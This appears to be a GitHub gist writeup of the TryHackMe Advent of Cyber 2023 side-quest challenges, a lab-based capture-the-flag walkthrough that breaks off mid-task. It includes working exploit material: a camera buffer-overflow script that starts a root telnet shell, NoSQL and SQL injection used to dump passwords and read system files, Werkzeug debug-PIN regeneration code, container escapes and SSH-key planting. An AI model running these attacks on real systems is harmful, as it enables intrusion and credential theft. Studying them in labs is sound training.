Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active April 15, 2024 18:29
Show Gist options
  • Save Siss3l/ad605cf850e0653b3b67c25af58e5a0f to your computer and use it in GitHub Desktop.
Save Siss3l/ad605cf850e0653b3b67c25af58e5a0f to your computer and use it in GitHub Desktop.
TryHackMe Advent of Cyber 2023 Side Quests Writeup

TryHackMe - Advent of Cyber 2023 Side Quests

In addition to the Advent of Cyber 2023 room, we have an annex Side Quest task at our disposal.

Side

Description

Four rooms need to be completed to finish the Christmas side quests challenge:

  • The key is divided into four QRcode parts. Find them all (put them together) and uncover the link to the first challenge;
  • The key will be hidden in one of the challenges of the main Advent of Cyber 2023 event between Day 2 and Day 8;
  • The key will be hidden in one of the challenges of the main Advent of Cyber 2023 event between Day 9 and Day 16;
  • The key will be hidden in one of the challenges of the main Advent of Cyber 2023 event between Day 17 and Day 24.

Side Quest Challenge 1

To access this first room, we have to browse the TryHackMe social networks:

  • The first part of the QRcode https://assets.tryhackme.com/additional/aoc2023/6d156/50af2.png image is in the Task 5 tab of our side quests room;
  • The second part https://assets.tryhackme.com/additional/aoc2023/b3620/e94fa.png is pinned on their Discord (posted by Lorestil on November 28, 2023) #aoc-2023-side-quest channel;
  • The third part https://assets.tryhackme.com/additional/aoc2023/5d60a/809cd.png is on their LinkedIn 7135598321280188416 post;
  • The last part https://assets.tryhackme.com/additional/aoc2023/2f7f8/0f93a.png is on their Twitter 1730184898365767880 post.

Begin

To avoid making the writeup more cumbersome, we will not go deeper into details on the simple tasks.
We have access to the first https://tryhackme.com/jr/adv3nt0fdbopsjcap room easily, using the TryHackMe QRcode Decoder website or ZXing page.

SQ1 Resolution

We have to download a zip VanSpy.pcapng.zip archive containing the VanSpy.pcapng PacketCAPture NextGeneration dump file.

The TShark command-line network protocol analyzer (as Wireshark) will help us digging into the capture file:

$ unzip VanSpy.pcapng.zip && md5sum VanSpy.pcapng.zip
c3a23339de68211e079ea56be3c3e2ea
# To get the "Service Set IDentifier" value | https://github.com/praetorian-inc/Hob0Rules/blob/master/wordlists/rockyou.txt.gz
$ tshark -r VanSpy.pcapng -T fields -e _ws.col.Info | grep -e 'SSID.*'
"Beacon frame, SN=0, FN=0, Flags=........, BI=100, SSID=FreeWifiBFC"
# To bruteforce the "Wi-Fi Protected Access" password | https://www.aircrack-ng.org
$ aircrack-ng VanSpy.pcap -w rockyou.txt
"Christmas"
# To view the data from "mimikatz.exe" usage | https://wpa-sec.stanev.org
$ tshark -r VanSpy.pcapng -o 'wlan.enable_decryption:TRUE' -o 'uat:80211_keys:"wpa-pwd","Christmas"' -Y 'tcp.stream eq 1005' -e 'data' -Tfields | xxd -r -p
# Then export the Personal Information Exchange file from the TCP stream
$ echo MIIJuQIBAzCCCXUGCSqGSIb3DQEHAaCCCWYEggliMII......dooS6Y7phEqcYCAgfQ | base64 -d > LOCAL_MACHINE_Remote Desktop_0_INTERN-PC.pfx
# To convert pfx to pem data, of "mimikatz" password | https://github.com/gentilkiwi/mimikatz
$ openssl pkcs12 -in LOCAL_MACHINE_Remote Desktop_0_INTERN-PC.pfx -out key.pem -nodes 
# To view the "Remote Desktop Protocol" packets with the Privacy-Enhanced Mail file
$ tshark -r VanSpy.pcapng -o 'wlan.enable_decryption:TRUE' -o 'uat:80211_keys:"wpa-pwd","Christmas"' -o 'tls.keys_list:10.x.x.x,3389,tpkt,key.pem,1.log' -Y 'tcp.port==3389'
# To convert pcapng to pcap file for readability
$ tshark -F pcap -r VanSpy.pcapng -w VanSpy.pcap
# To see the RDP capture video, following the pyRDP documentation on the Docker image | https://github.com/GoSecure/pyrdp#using-pyrdp-convert
$ python3 pyrdp-convert.py VanSpy.pcap -o folder.pyrdp
"2023_10.0.0.2_55510-10.1.1.1_3389.pyrdp: data"
# We find the CyberPolice case number and the final flag
$ python3 pyrdp-player.py
"[...] For your reference, the case number is 31337-0."
"CLIPBOARD DATA: 1-1f9548f131522e85ea30e801dfd9b1a4e526003f9e83301faad85e6154ef2834"

Case

  • What's the name of the WiFi network in the PCAP? FreeWifiBFC
  • What's the password to access the WiFi network? Christmas
  • What suspicious tool is used by the attacker to extract a juicy file from the server? Mimikatz
  • What is the case number assigned by the CyberPolice to the issues reported by McSkidy? 31337-0
  • What is the content of the yetikey1.txt file? 1-1f9548f131522e85ea30e801dfd9b1a4e526003f9e83301faad85e6154ef2834

Once finished, we wait on the days to pass to get more clues in the Advent of Cyber 2023 room to find the next side quest.

Advent

Side Quest Challenge 2

We check each challenge between Day 2 and 8 to realize that something is weird on the Day 6 (Memory corruption) Memories of Christmas Past task:
Van Jolly still thinks the Ghost of Christmas Past is in the game. She says she has seen it with her own eyes! She thinks the Ghost is hiding in a glitch, whatever that means. What could she have seen?

After solving the Day 6 challenge, while searching on the https://lab_web_url.p.thmlabs.com/index.data.gz code with WABT or Cetus tool, we came across some incongruous dialogues that intrigued us:

G.O.C.P.
According to the legend, a cat named Snowball will arrive at this place one day
He will meet with Midas the greedy merchant, and Ted the name switcher
He'll bring exactly 31337 coins and the token of the Yeti
When all these conditions are met, input the 30 lives secret code and what's hidden shall be revealed
I hHunt this g---ame s1nce its creati0n. Didn't y-u bellllieve the Frostlings?
How come you don't speak glitchy anymore?
Is that a Yeti Token? I'm afraid it's a fake one. The original one glows blue. Maybe I could sell it to you for a price instead?
This 1tem w@s f0rb1dden l0ng aGo... How d_d you ev3n gGet it??
0123456789.EE?-?
0x%.4x/0x%.4x=

We could bypass these steps by using the "assets/qr.map" part in the index.data file in order to generate the QRcode image directly with a simple Python codegolf one-liner:
$ python3 -c 'k=(f:=__import__("pathlib").Path("index.data").read_bytes(),x:=f.find(b"\x82-1 -1 -1"),y:=f.find(b"0 \r\n\r\n\x89PNG"))[0][x:y].replace(b"\x82",b"").decode();v=b"".join(sum([[3*b"\xff"if k=="50" else(b"\x00"*3)for k in i.split(" ")]for i in k.replace("-1","").replace("0 "*32,"").replace(" ","").replace("\r\n \r\n","").replace(" "*21+"\r\n","").replace(" \r\n"+" "*35,"").split(" \r\n")],[]));i=__import__("PIL.Image").Image.frombytes("RGB",(31,31),v).resize((300,300),0).save("test.png");' && zbarimg test.png

By reading the code, if we enter zzzzzzzzzzzzzzzz (or similar, claiming 16 coins maximum) value as an username and buy from the shop an element with the ID a this will make the glitched G.O.C.P. Non-Player Character appear:

# We display the ASCII text, by pressing the TAB keyboard key on the game
aaaa player_name
bbbb
cccc
dddd coins
eeee shopk_name
ffff
gggg
hhhh namer_name
iiii
jjjj
kkkk values
llll inv_items
mmmm
nnnn
oooo
# Writing any value successively as "username" will be followed by nullbyte (00 in hexadecimal)
"aaaa" => "61 61 61 61 00"
"aaa"  => "61 61 61 00 00"
"aa"   => "61 61 00 00 00"
"a"    => "61 00 00 00 00"

At each entrance close to the corners, we will subtract part of our budget to put z{ (with two 00 nullbytes) value to have a little more money than expected, buy the Yeti badge, set the valid usernames (followed by nullbytes) and buying 11 objects from the shop as (31564-31337 coins) -120-16-16-10-10-10-10-10-10-10-5 == 0 to have the 31337 coins requested.

We will activate the ???? Ghost whispering NPC with the 30 lives secret Konami code and the QRcode https://tryhackme.com/jr/armageddon2R will show:

Glitch

SQ2 Resolution

We run a Nmap Network Mapper scan and realize that we have an unknown port managing an Emux ARMX Firmware Emulation Framework camera service:

ubuntu@tryhackme:~$ sudo nmap -sS 10.10.x.x -p0-65535
PORT      STATE SERVICE
22/tcp    open  ssh
23/tcp    open  telnet
8080/tcp  open  http-proxy (web internal)
50628/tcp open  unknown    (camera usage)

With the Trivision camera reference, it doesn't take much time to find, craft and run a Python exploit.py script granting us a shell on the machine.

buf =  b"A" * 284
buf += b'X\x0b\x06@'
buf += b"BBBB"
buf += b"CCCC"
buf += b'\x9c\x07\x06@'
buf += b'\x98J\x05@'
buf += b"telnetd${IFS}-l/bin/sh;#"
buf += b"C"*(400-len(buf));
req =  b"GET /form/liveRedirect?lang=%s HTTP/1.0\n" % buf + b"Host: BBBBBBBBBBBB\nUser-Agent: ARM/exploitlab\n\n"
s   =  __import__("socket").socket(__import__("socket").AF_INET, __import__("socket").SOCK_STREAM)
s.connect(("10.10.x.x", 50628)); s.send(req); s.recv(100);__import__("time").sleep(2)
tn = __import__("telnetlib").Telnet("10.10.x.x", 23); tn.interact()

We then run a Grep command mechanically to get the first flag:

BusyBox v1.21.1 (2013-12-19 20:11:55 CST) built-in shell (ash)
$ grep -r /home/web -e 'THM'
grep: ./web/config.cfg:         No such file or directory
./web/en/account/acclist.asp:  <td colspan="3"><input type=RADIO name=AUTHMETHOD value=basic <% getConfCheck("sys", "security", "AUTHMETHOD", "basic"); %>>
./web/en/account/acclist.asp:  <td colspan="3"><input type=RADIO name=AUTHMETHOD value=daa   <% getConfCheck("sys", "security", "AUTHMETHOD", "daa");   %>>
./web/en/player/mjpeg_vga.asp: <h1>THM{YETI_ON_SCREEN_ELUSIVE_CAMERA_STAR}</h1>

For the rest of the room, we are not obliged to go through an internal proxy of the camera nor exploiting it getting umconfig password as an unintended way to access the login.php page, but we will simply add a character / slash on the page which will allow us to bypass the access restrictions.

Access

Running folders crawling tools like Nuclei, Fuff with some SecLists, we came across the http://10.10.x.x:8080/vendor/composer/installed.json file making us understand that MongoDB is used and could potentially be exploited:

{
  "packages": [
    {
      "name": "jean85/pretty-package-versions",
      "version": "2.0.5",
      "version_normalized": "2.0.5.0",
      "source": {
        "type": "git",
        "url": "https://github.com/Jean85/pretty-package-versions.git",
        "reference": "ae547e455a3d8babd07b96966b17d7fd21d9c6af"
      },
      "dist": {
        "type": "zip",
        "url": "https://api.github.com/repos/Jean85/pretty-package-versions/zipball/ae547e455a3d8babd07b96966b17d7fd21d9c6af",
        "reference": "ae547e455a3d8babd07b96966b17d7fd21d9c6af",
        "shasum": ""
      },
      "require": {
        "composer-runtime-api": "^2.0.0",
        "php": "^7.1|^8.0"
      }, "install-path": "../jean85/pretty-package-versions"
    },
    {
      "name": "mongodb/mongodb",
      "version": "1.17.0",
      "version_normalized": "1.17.0.0",
      "source": {
        "type": "git",
        "url": "https://github.com/mongodb/mongo-php-library.git",
        "reference": "9d9c917cf7ff275ed6bd63c596efeb6e49fd0e53"
      },
      "dist": {
        "type": "zip",
        "url": "https://api.github.com/repos/mongodb/mongo-php-library/zipball/9d9c917cf7ff275ed6bd63c596efeb6e49fd0e53",
        "reference": "9d9c917cf7ff275ed6bd63c596efeb6e49fd0e53",
        "shasum": ""
      },
      "require": {
        "ext-hash": "*",
        "ext-json": "*",
        "ext-mongodb": "^1.17.0",
        "jean85/pretty-package-versions": "^2.0.1",
        "php": "^7.4 || ^8.0",
        "psr/log": "^1.1.4|^2|^3",
        "symfony/polyfill-php80": "^1.27",
        "symfony/polyfill-php81": "^1.27"
      },
      "installation-source": "source",
      "autoload": {
        "files": [
          "src/functions.php"
        ],
        "psr-4": {
          "MongoDB\\": "src/"
        }
      },
      "description": "MongoDB driver library",
      "homepage": "https://jira.mongodb.org/browse/PHPLIB",
      "keywords": [
        "database",
        "driver",
        "mongodb",
        "persistence"
      ],
      "support": {
        "issues": "https://github.com/mongodb/mongo-php-library/issues",
        "source": "https://github.com/mongodb/mongo-php-library/tree/1.17.0"
      },
      "install-path": "../mongodb/mongodb"
    },
  ], "dev": true, "dev-package-names": []
}

We therefore bruteforce the login http://10.10.x.x:8080/login.php/ page with MongoDB exploitation tool to retrieve usernames and passwords from the database:

ubuntu@tryhackme:~$ python2 nosqli-user-pass-enum.py -u http://10.10.x.x:8080/login.php/ -up username -pp password -ep username -op login:login,submit:submit -m POST
# We test/mix them all to finally reach the username administrator "Frosteau" to recover the flag
Blizzardson   :h1y6zpVTOwGYoB95aRnk
Frostbite     :6Ne2HYXUovEIVOEQg2US
Grinchowski   :7yIcnHu8HC6QCH1MCfHS
Iciclevich    :uwx395sm4GpVfqQ4dUDI
Northpolinsky :jlXUuZKIeCONQQIe92GZ
Scroogestein  :advEpXUBKt3bZjk3aHLR
Tinselova     :F6Ymdyzx9C1QeNOcU7FD
Frosteau      :HoHoHacked (admin)
# There were more passwords hash than public users
rCwBuLJPNzmRGExQucTC
tANd8qZ93sFHUBrJhdQj
E33v0lTuUVa1ct4sSed1
HoHoHacked
JZwpMOTmDvVYDq3uSb3t
ubuntu@tryhackme:~$ curl http://10.10.x.x:8080/index.php/ -u Frosteau:HoHoHacked
"""
Dashboard, Logout
Welcome Frosteau!
Important Notes
yetikey2.txt
2-K@bWJ5oHFCR8o%whAvK5qw8Sp$5qf!nCqGM3ksaK
Number of closed cases: 531
Average response time: 3 mins
Number of open cases: 1
Success rate: 99.9%
Police Department
"""

Math

  • What is the content of the first flag? THM{YETI_ON_SCREEN_ELUSIVE_CAMERA_STAR}
  • What is the content of the yetikey2.txt file? 2-K@bWJ5oHFCR8o%whAvK5qw8Sp$5qf!nCqGM3ksaK

Side Quest Challenge 3

From the Day 11 (Active Directory) Jingle Bells, Shadow Spells task:
Van Sprinkles left some stuff around the DC. It's like a secret message waiting to be unravelled!

Once this part is completed, we list the available folders from the Domain Controller to find interesting files:

ubuntu@tryhackme:~$ *Evil-WinRM* PS C:/Users/vansprinkles> ls # C:/ProgramData/Amazon/EC2-Windows/Launch/Log/WallpaperSetup.log
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        3/17/2021   3:13 PM                3D Objects
d-r---        3/17/2021   3:13 PM                Contacts
d-r---       11/22/2023  10:56 AM                Desktop
d-r---       11/22/2023  10:56 AM                Documents
d-r---        3/17/2021   3:13 PM                Downloads
d-r---        3/17/2021   3:13 PM                Favorites
d-r---        3/17/2021   3:13 PM                Links
d-r---        3/17/2021   3:13 PM                Music
d-r---       11/22/2023  10:40 AM                Pictures
d-r---        3/17/2021   3:13 PM                Saved Games
d-r---        3/17/2021   3:13 PM                Searches
d-r---        3/17/2021   3:13 PM                Videos
ubuntu@tryhackme:~$ *Evil-WinRM* PS C:/Users/Administrator/Desktop/chatlog_files> ls # C:/Users/Administrator/Desktop/chatlog.html
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       11/22/2023  10:29 AM         160403 bootstrap.min.css
-a----       11/22/2023  10:29 AM            730 main.css
-a----       11/22/2023  10:29 AM          12997 mcgreedy.png
-a----       11/22/2023  10:29 AM         744820 Screenshot 2023-11-22 034711.png
-a----       11/22/2023  10:29 AM         882432 Screenshot 2023-11-22 034941.png
-a----       11/22/2023  10:29 AM          18949 vansprinkles.png
-a----       11/22/2023  10:29 AM          15796 yeti.png

Reading the chatlog.html code, we realize quickly that the aCropalypse vulnerability is possible on one of the screenshot PNG image:

<!DOCTYPE html>
<html lang="en">
  <head>
    <link rel='stylesheet' href='chatlog_files/bootstrap.min.css'><link rel='stylesheet' href='chatlog_files/main.css'>
  </head>
  <body>
    <main class="content">
      <div class="container p-0">
        <h1 class="h3 mb-3">AntarctiChat</h1>
        <div class="card">
          <div class="row g-0">
            <div class="col-12 col-lg-7 col-xl-9">
              <div class="position-relative">
                <div class="chat-messages p-4">
                  <div class="chat-message-right pb-4">
                    <div>
                      <img src="chatlog_files/vansprinkles.png" class="avatar rounded-circle mr-1" alt="Van Sprinkles" width="40" height="40">
                      <div class="text-muted small text-nowrap mt-2">2:33 am</div>
                    </div>
                    <div class="flex-shrink-1 bg-light rounded py-2 px-3 mr-3">
                      <div class="font-weight-bold mb-1">You</div>
                      <a href="chatlog_files/Screenshot-2023-11-22-034711.png"><img src="chatlog_files/Screenshot-2023-11-22-034711.png" class="mr-1" alt="Image" width="256" height="108"></a>
                    </div>
                  </div>
                  <div class="chat-message-left pb-4">
                    <div>
                      <img src="chatlog_files/mcgreedy.png" class="rounded-circle mr-1" alt="McGreedy" width="40" height="40">
                      <div class="text-muted small text-nowrap mt-2">2:34 am</div>
                    </div>
                    <div class="flex-shrink-1 bg-light rounded py-2 px-3 ml-3">
                      <div class="font-weight-bold mb-1">McGreedy</div> Yes yes yes! It's perfect! And stop sending screenshots of your full screen. You may end up leaking stuff!
                    </div>
                  </div>
                  <div class="chat-message-left pb-4">
                    <div>
                      <img src="chatlog_files/mcgreedy.png" class="rounded-circle mr-1" alt="McGreedy" width="40" height="40">
                      <div class="text-muted small text-nowrap mt-2">2:34 am</div>
                    </div>
                    <div class="flex-shrink-1 bg-light rounded py-2 px-3 ml-3"><div class="font-weight-bold mb-1">McGreedy</div>WHAT DID I JUST SAY ABOUT SCREENSHOTS???</div>
                  </div>
                  <div class="chat-message-right pb-4">
                    <div>
                      <img src="chatlog_files/vansprinkles.png" class="avatar rounded-circle mr-1" alt="Van Sprinkles" width="40" height="40">
                      <div class="text-muted small text-nowrap mt-2">2:33 am</div>
                    </div>
                    <div class="flex-shrink-1 bg-light rounded py-2 px-3 mr-3"><div class="font-weight-bold mb-1">You</div> Alright, alright. I've deleted it. Here's a cropped version of it</div>
                  </div>
                  <div class="chat-message-right pb-4">
                    <div>
                      <img src="chatlog_files/vansprinkles.png" class="avatar rounded-circle mr-1" alt="Van Sprinkles" width="40" height="40">
                      <div class="text-muted small text-nowrap mt-2">2:33 am</div>
                    </div>
                    <div class="flex-shrink-1 bg-light rounded py-2 px-3 mr-3">
                      <div class="font-weight-bold mb-1">You</div>
                      <a href="chatlog_files/Screenshot-2023-11-22-034941.png"><img src="chatlog_files/Screenshot-2023-11-22-034941.png" class="mr-1" alt="Image" width="200" height="108"></a>
                    </div>
                  </div>
                </div>
              </div>
              <div class="flex-grow-0 py-3 px-4 border-top"><div class="input-group"><input type="text" class="form-control" placeholder="Type your message"><button class="btn btn-primary">Send</button></div></div>
            </div>
          </div>
        </div>
      </div>
    </main>
  </body>
</html>

We then run the ACropalypse-Multi gui.py restoring tool (tweaking on Windows 11 Snipping Tool & 2560x1080 pixels options) to get the cropped data from the Screenshot-2023-11-22-034941.png image to view the https://tryhackme.com/jr/busyvimfrosteau room link:

Flag

SQ3 Resolution

We launch a Nmap scan to see the network ports used:

ubuntu@tryhackme:~$ sudo nmap -sS 10.10.x.x -p0-65535
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8065/tcp open  unknown (busybox/docker)
8075/tcp open  ftp     (ftp)
8085/tcp open  unknown (vim)
8095/tcp open  unknown (nano)

We have access to a BusyBox (without /tmp/sh usage) toolbox, a FTP (with the anonymous username, passwordless) endpoint, a Nano interactive text editor and a Vim command-line interface (all of this in a Docker container).

We start on the Vim text editor with nc 10.10.x.x 8085 netcat connection:

# Custom file on "/etc/file/busybox ftpd" with wrong permissions could allow us to bypass uploading part
ubuntu@tryhackme:~$ nc 10.10.x.x 8085
VIM - Vi IMproved
version 8.2.1847
# Checking the VIM packages to see that the "python3" plugin is (un)fortunately present
:version
"""
+autochdir         +folding           +multi_lang        +terminal
+cmdline_compl     +lambda            +profile           +vim9script
+cmdline_hist      +langmap           -python            +viminfo
+cmdline_info      +libcall           +python3           +virtualedit
+comments          +linebreak         +quickfix          +visual
"""
# Digging some folders and files in the Ex mode
:ex .
"   :ex .
"   Sorted by      name
"   Sort sequence: [\/]$,\<core\%(\.\d\+\)\=\>,\.h$,\.c$,\.cpp$,\~\=\*$,*,\.o$,\ "
"   Quick Help: <F1>:help  -:go up dir  D:delete  R:rename  s:sort-by  x:special "
" ============================================================================== "
boot/
dev/
etc/
home/
media/
mnt/
opt/
proc/
root/
run/
srv/
sys/
tmp/
usr/
var/
.dockerenv
# We can therefore find and read any (.txt) file 
:py3 print(__import__("pathlib").Path(list(__import__("pathlib").Path.cwd().rglob("flag-*.txt"))[0]).read_text());
THM{Let.the.game.begin}

We can also use the FTP to read or upload files with ftp 10.10.x.x 8075 command:

# We can use the FTP to read any (.sh) file
ubuntu@tryhackme:/tmp$ ftp 10.10.x.x 8075
200 Operation successful
150 Directory listing
total 8132
-rw-r--r--    1 0        0             3010 Nov  5 18:49 FROST-2247-SP.txt
-rw-r--r--    1 0        0             3211 Nov  5 18:50 YETI-1125-SP.txt
-rw-r--r--    1 0        0          2127524 Nov  5 18:54 frostling_base.png
-rw-r--r--    1 0        0          2305908 Nov  5 18:54 frostling_five.png
-rw-r--r--    1 0        0          1589463 Nov  5 18:54 yeti_footage.png
-rw-r--r--    1 0        0          2277409 Nov  5 18:54 yeti_mugshot.png
-rw-r--r--    1 0        0               24 Nov  5 19:06 flag-1-of-4.txt
-rwxrwxrwx    1 0        0               12 Nov  5 19:07 flag-2-of-4.sh
226 Operation successful
# To get the bash file
ftp> get flag-2-of-4.sh
# We see that the second flag is available as environmental variable
$ echo $FLAG2; env
THM{Seems.like.we.are.getting.busy}

Since we have a Vim error of Cannot execute shell /tmp/sh and that the Ubuntu (on 8065 port) didn't respond, we will use a bash static binary (or one in the AttackBox virtual machine) uploaded on the FTP, with the correct access permissions thanks to Vim and move the bash binary using rooted Nano v6.2 editor with telnet 10.10.x.x 8095 connection to get the final flag.

On the remote https://vnc.tryhackme.tech/index.html?host=proxy.tryhackme.tech&password=hash&proxyIP=10.10.x.x&resize=remote link, we could use Virtual Network Computing CTRL buttons and keyboard shortcuts on Nano as:

  • CTRL+R Inserting a file into the current one;
  • CTRL+T Listing the folders and files;
  • CTRL+R then CTRL+X Executing Unix command;
  • CTRL+X Exiting the current graphical user interface.
# Putting a static bash file to the /tmp/ftp folder
ubuntu@tryhackme:/tmp$ ftp 10.10.x.x 8075 
ftp> put sh
# Copying the sh binary to /tmp/ and set the chmod "a+rwx,u-w,g-rw,o-rw" permissions in Vim
ubuntu@tryhackme:/tmp$  nc 10.10.x.x 8085
:py3 __import__("shutil").copyfile("/tmp/ftp/sh", "/tmp/sh"); __import__("os").chmod("/tmp/sh", 511)
# We can use the "/tmp/busybox" binary to execute missing commands within Nano
ubuntu@tryhackme:/tmp$ telnet 10.10.x.x 8095
sh-5$ ^R^X
sh-5$ /tmp/busybox cp /tmp/sh /usr/frosty/sh
sh-5$ exit
ubuntu@tryhackme:/tmp$ telnet 10.10.x.x 8065
Trying 10.10.x.x...
Connected to 10.10.x.x.
Escape Character is '^]'.
Ubuntu 22.04.3 LTS
# Linux busybusybox 5.4.0-1029-aws #30-Ubuntu SMP Tue Oct 20 10:06:38 UTC 2020 x86_64 x86_64
ubuntu@busybusybox:/tmp$ /tmp/busybox ls
busybox  ftp  nano  sh  vim
# Getting the third flag
ubuntu@busybusybox:/root$ /tmp/busybox cat flag-3-of-4.txt
THM{Not.all.roots.and.routes.are.equal}
# uid=0(root) gid=0(root) groups=0(root)
ubuntu@busybusybox:/$ /tmp/busybox find . -type f -name "*.sh" && /tmp/busybox cat /usr/special/protector.sh
./tmp/ftp/flag-2-of-4.sh
./usr/share/vim/vim82/macros/less.sh
./usr/special/protector.sh
./etc/bootstrap.sh
#!/usr/special/bash
echo "Password has been configured, please provide password to access this service:"
read varname
echo "Password given was $pass"
if [ $1=$pass ]
then /usr/special/sh
else echo "Incorrect password, goodbye"
fi
# Verifying that we were on a Docker container, given the presence of the above ".dockerenv" empty file
ubuntu@busybusybox:/$ /tmp/busybox ps -ef | /tmp/busybox grep -i "docker"
 1200 root     /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
 3510 root     /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 65510 -container-ip 170.x.x.x -container-port 65510
# From excessive capabilities, the "/proc/1/root/etc/hostname" should not be different from the "/etc/hostname" but it is here
ubuntu@busybusybox:/$ /tmp/busybox cat /proc/1/root/etc/hostname /etc/hostname
tryhackme 
busybusybox
ubuntu@busybusybox:/$ /tmp/busybox ls /proc/1/root/root/
flag-4-of-4.txt  snap  yetikey3.txt
# Getting the last flags | https://book.hacktricks.xyz/linux-hardening/privilege-escalation/escaping-from-limited-bash
ubuntu@busybusybox:/$ /tmp/busybox cat /proc/1/root/root/flag-4-of-4.txt /proc/1/root/root/yetikey3.txt
THM{Frosteau.would.be.both.proud.and.disappointed}
3-d2dc6a02db03401177f0511a6c99007e945d9cb9b96b8c6294f8c5a2c8e01f60
  • What is the value of the first flag? THM{Let.the.game.begin}
  • What is the value of the second flag? THM{Seems.like.we.are.getting.busy}
  • What is the value of the third flag? THM{Not.all.roots.and.routes.are.equal}
  • What is the value of the fourth flag? THM{Frosteau.would.be.both.proud.and.disappointed}
  • What is the value of the third yetikey3.txt that has been placed in the root directory to verify the compromise?
    3-d2dc6a02db03401177f0511a6c99007e945d9cb9b96b8c6294f8c5a2c8e01f60

Vim

Side Quest Challenge 4

From the Day 20 (DevSecOps) Advent of Frostlings task:
Detective Frosteau believes it was an account takeover based on the activity. However, Tracy might have left some crumbs.

We connect to the Gitlab proposed in the challenge of day 20 to easily find the qrcode https://tryhackme.com/jr/surfingyetiiscomingtotown in the commits on http://10.10.x.x/gitlab-instance-dc881f3b/advent-calendar-bfc/-/blob/main/public/images/Day_20_calendar.png url.

Calendar

SQ4 Resolution

ubuntu@tryhackme:~$ sudo nmap -sS 10.10.x.x -p0-65535
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

We end up with an index web page allowing us to download known files from the server:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>The BFG</title>
    <style>
        html, body { /* Reset margins and paddings for the body and html elements */
            margin: 0;
            padding: 0;
        }
        body {
            background-image: url('static/imgs/snow.gif');
            background-size: cover; /* Adjust the background size */
            background-position: center top; /* Center the background image vertically and horizontally */
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            background-color: #f0f0f0;
        }
        .image-container {
            text-align: center;
        }
        .image {
            display: inline-block;
            margin: 10px;
        }
        .header {
            font-size: 36px;
            color: white;
            text-align: center;
            margin-bottom: 20px;
        }
        .footer {
            font-size: 18px;
            color: white;
            text-align: center;
        }
    </style>
  </head>
  <body>
    <div class="header">A new and innovative way to download images! Click on any elf to try it out!</div>
    <br>
    <div class="image-container">
        <a href="/download?id=1"><img src="/static/imgs/mcblue1.svg" style="width:20%"></a>
        <a href="/download?id=2"><img src="/static/imgs/mcblue2.svg" style="width:20%"></a>
        <a href="/download?id=3"><img src="/static/imgs/mcblue3.svg" style="width:20%"></a>
    </div>
    <br>
    <div class="footer">Beta version 1.0.1</div>
  </body>
</html>

MCblue

If we use the http://10.10.x.x:8000/download?id=1 url it will download the corresponding SVG image from the elfimages database but on the other hand if we use something else out of bounds, we will come across warning errors:

create schema if not exists elfimages collate utf8mb4_general_ci; create table elves(id int, url_id int, url tinytext);
# The sqlmap "--dump" command makes us tell ourselves that an internal Local File Inclusion "file:///" SSRF is possible
ubuntu@tryhackme:~$ sqlmap -u "http://10.10.x.x:8000/download?id=" --dump
Database: elfimages
Table: elves
[4 entries]
+----+--------+------------------------------------------------+
| id | url_id | url                                            |
+----+--------+------------------------------------------------+
| 1  | 1      | http://127.0.0.1:8000/static/imgs/mcblue1.svg  |
| 2  | 2      | http://127.0.0.1:8000/static/imgs/mcblue2.svg  |
| 3  | 3      | http://127.0.0.1:8000/static/imgs/mcblue3.svg  |
| 4  | 4      | http://127.0.0.1:8000/static/imgs/suspects.png |
+----+--------+------------------------------------------------+

Null

ubuntu@tryhackme:~$ curl http://10.10.x.x:8000/download?id=5
TypeError: The view function for 'download' did not return a valid response. The function either returned None or ended without a return statement.
ubuntu@tryhackme:~$ curl http://10.10.x.x:8000/download?id=6%27
MySQLdb.ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''6''' at line 1")
File "/home/mcskidy/.local/lib/python3.8/site-packages/flask/app.py", line 1161, in make_response
# dbus-uuidgen --ensure=/etc/machine-id
ubuntu@tryhackme:~$ curl http://localhost:8000/download?id=%27%20union%20select%20%27file:///sys/class/net/eth0/address%27%20--%20-
"redacted"
ubuntu@tryhackme:~$ curl http://localhost:8000/download?id=%27%20union%20select%20%27file:///etc/machine-id%27%20--%20-
"redacted"

Access to the debug http://10.10.x.x:8000/console path is protected by a pin but fortunately, it is a well-known CTF case where we have to find a way to recover the pin by retrieving important files from the target machine in order to execute Python commands.

The SQL injection allows us to download anything via Local File Inclusion (like the http://10.10.x.x:8000/download?id=%27%20union%20select%20%27file:///etc/passwd%27%20--%20- /etc/passwd file) which will be used to regenerate the exact same interactive console pin code!

h = __import__("hashlib").sha1(); num = rv = None # cat /sys/class/net/eth0/address /etc/machine-id
for bit in __import__("itertools").chain(["mcskidy", "flask.app", "Flask", "/home/mcskidy/.local/lib/python3.8/site-packages/flask/app.py"],
  [str(int(__import__("binascii").unhexlify("00:00:00:00:00:00".replace(":","")).hex(),16)), "00000000000000000000000000000000"]):
  if not bit: continue
  if isinstance(bit, str): bit = bit.encode("utf-8")
  h.update(bit)
h.update(b"cookiesalt")
if num is None: h.update(b"pinsalt"); num = f"{int(h.hexdigest(), 16):09d}"[:9]
if rv is None:
  for group_size in 5, 4, 3:
    if len(num) % group_size == 0:
      rv = "-".join(num[x:x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size)); break
  else: rv = num
print(rv) # "000-000-000" | https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug

It is better to add our own RSA id_rsa.pub public key on the /home/mcskidy/ path to connect to the host via SSH, from our machine for stability:

# Generating the ssh key
user@ubuntu:~$ ssh-keygen -q -t rsa -f ~/.ssh/id_rsa -C test -N "" && ssh-keygen -f ~/.ssh/id_rsa -y > ~/id_rsa.pub
user@ubuntu:~$ xclip -sel clip < ~/id_rsa.pub
# On the unlocked "/console" path
>>> __import__("pathlib").Path("/home/mcskidy/.ssh/authorized_keys").write_text("ssh-rsa AAAAB.......[Redacted].......7T0= test")
user@ubuntu:~$ ssh mcskidy@10.10.x.x
Last login: Wed Dec 20 17:00:00 2023 from 10.10.x.x
mcskidy@proddb:~# sudo -l
